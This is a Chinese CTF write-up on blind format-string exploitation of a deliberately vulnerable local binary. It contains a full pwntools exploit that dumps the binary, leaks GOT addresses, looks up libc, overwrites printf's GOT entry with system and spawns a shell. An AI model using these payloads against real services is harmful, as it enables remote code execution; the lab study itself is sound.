CTF中对格式化字符串漏洞的盲打,CTFWiKi上都有,自己只是拿来总结下过程
Blind_Got
环境
Code:
1 | #include <stdio.h> |
2 | int main() { |
3 | char input[128]; |
4 | while (1) { |
5 | read(0, input, 128); |
6 | printf(input); |
7 | fflush(stdout); |
8 | } |
9 | return 0; |
10 | } |
利用Gcc编译,编译的同时关闭pie和canary保护
1 | gcc -fno-stack-protector -no-pie main.c -o blind |
题目部署:
1 | nohup socat tcp-l:9999,reuseaddr,fork exec:./blind & |
分析
首先程序题目应该什么都没有,那么我们就要利用所学的Pwn知识不断的尝试,然后对程序的返回结果进行分析
此处题目我放在本地,利于自己对题目的分析
在什么都不知道的情况下,输入%p,程序返回一个地址,且据地址可知道程序为64位,那么猜测这是格式化字符串…而且可以多次输入并返回结果
然后确定偏移量,最后获得偏移量为6
猜测FmtStr_Blind_Got 利用,第一步要做的则是泄露出部分程序代码,64位程序从0x40000开始泄漏[如果 开启起Pie,那么…没法玩]
我们采用下面的代码
1 | from pwn import* |
2 | #context.log_level = 'debug' |
3 | ip = '127.0.0.1' |
4 | port = 8888 |
5 | def leak(addr): |
6 | num = 0 |
7 | while num < 3: |
8 | try: |
9 | # print 'leak addr: ' + hex(addr) |
10 | p = remote(ip,port) |
11 | payload = '%00008$s'+'STARTEND'+p64(addr) |
12 | if '\x0a' in payload: |
13 | return None |
14 | p.sendline(payload) |
15 | date = p.recvuntil('STARTEND',drop = True) |
16 | p.close() |
17 | return date |
18 | except Exception: |
19 | num += 1 |
20 | continue |
21 | return None |
22 | def getbinary(): |
23 | addr = 0x400000 |
24 | f = open('binary','w') |
25 | while addr<0x401000: |
26 | date = leak(addr) |
27 | if date is None: |
28 | f.write('\xff') |
29 | addr +=1 |
30 | elif len(date) == 0: |
31 | f.write('\x00') |
32 | addr +=1 |
33 | else: |
34 | f.write(date) |
35 | addr +=len(date) |
36 | f.close() |
37 | getbinary() |
本地目录生成了binary文件,用IDA进行简单的查看,可以确定某些信息,从而推断出程序部分原代码
IDA中查看,转化为汇编语言,对于此程序,其中大概能推测出有一个Read函数,一个printf函数
程序泄漏的差不多了,之后我们要做的就是取得read_Got 以及 printf_Got 的地址,利用常规的FmtStr漏洞打印出我们需要的程序在服务器上的真实地址,从而泄露出libc版本,那么我们可以确定system_Addr并修改printf的Got表内地址为system函数的地址,最后令程序执行我们设定好的过程
利用
1 | #coding=utf8 |
2 | import math |
3 | from pwn import * |
4 | from LibcSearcher import LibcSearcher |
5 | context.log_level = 'debug' |
6 | context.arch = 'amd64' |
7 | ip = "127.0.0.1" |
8 | port = 8888 |
9 | def leak(addr): |
10 | num = 0 |
11 | while num < 3: |
12 | try: |
13 | # print 'leak addr: ' + hex(addr) |
14 | p = remote(ip,port) |
15 | payload = '%00008$s'+'STARTEND'+p64(addr) |
16 | if '\x0a' in payload: |
17 | return None |
18 | p.sendline(payload) |
19 | date = p.recvuntil('STARTEND',drop = True) |
20 | p.close() |
21 | return date |
22 | except Exception: |
23 | num += 1 |
24 | continue |
25 | return None |
26 | def getbinary(): |
27 | addr = 0x400000 |
28 | f = open('binary','w') |
29 | while addr<0x401000: |
30 | date = leak(addr) |
31 | if date is None: |
32 | f.write('\xff') |
33 | addr +=1 |
34 | elif len(date) == 0: |
35 | f.write('\x00') |
36 | addr +=1 |
37 | else: |
38 | f.write(date) |
39 | addr +=len(date) |
40 | f.close() |
41 | #getbinary() |
42 | read_got = 0x404020 |
43 | printf_got = 0x404018 |
44 | log.success('Read Got: ' + hex(read_got)) |
45 | log.success('Printf Got: ' + hex(printf_got)) |
46 | sh =remote(ip,port) |
47 | # let the read get resolved |
48 | sh.sendline('A') |
49 | sh.recv() |
50 | # get printf addr |
51 | payload = '%00008$s' + 'STARTEND' + p64(read_got) |
52 | sh.sendline(payload) |
53 | read_addr = u64(sh.recvuntil('STARTEND', drop=True).ljust(8, '\x00')) |
54 | sh.recv() |
55 | |
56 | # get system addr |
57 | libc = LibcSearcher('read', read_addr) |
58 | libc_base = read_addr - libc.dump('read') |
59 | system_addr = libc_base + libc.dump('system') |
60 | log.success('system addr: ' + hex(system_addr)) |
61 | log.success('read addr: ' + hex(read_addr)) |
62 | # modify printf_got |
63 | def modify(modify_addr,address): |
64 | modify_addr1 = modify_addr>>48 |
65 | modify_addr2 = modify_addr>>32&0xffff |
66 | modify_addr3 = modify_addr>>16&0xffff |
67 | modify_addr4 = modify_addr&0xffff |
68 | print 'Modify_Addr1:'+str(modify_addr1) |
69 | print 'Modify_Addr2:'+str(modify_addr2) |
70 | print 'Modify_Addr3:'+str(modify_addr3) |
71 | print 'Modify_Addr4:'+str(modify_addr4) |
72 | if modify_addr1 != 0: |
73 | payload = '%'+str(modify_addr1)+'c%6$hn'+'%'+str(modify_addr2-modify_addr1)+'c%7$hn'+'%' + str(modify_addr3-modify_addr2)+'c%8$hn'+'%'+str(modify_addr4-modify_addr3)+'c%9$hn' |
74 | else: |
75 | payload = '%6$hn'+'%'+str(modify_addr2-modify_addr1)+'c%7$hn'+'%' + str(modify_addr3-modify_addr2)+'c%8$hn'+'%'+str(modify_addr4-modify_addr3)+'c%9$hn' |
76 | offset = (int)(math.ceil(len(payload) / 8.0) + 1) |
77 | for i in range(6,10): |
78 | old = '%{}$'.format(i) |
79 | new = '%{}$'.format(offset + i) |
80 | payload = payload.replace(old, new) |
81 | remain = (8 - len(payload)%8)*'A' |
82 | payload += remain |
83 | payload +=p64(address+6)+p64(address+4)+p64(address + 2) +p64(address) |
84 | sh.sendline(payload) |
85 | modify(system_addr,printf_got) |
86 | sh.recvrepeat(0.5) |
87 | # get shell |
88 | sh.sendline('/bin/sh;') |
89 | sh.interactive() |
上述EXP对System地址分成的四个部分有大小要求,所以需要尝试多次,以满足程序要求,TTTTTTTCL
文章总体取自CTF-Wiki,总体上来讲,借鉴颇多,收获匪浅!!!
下载:EXP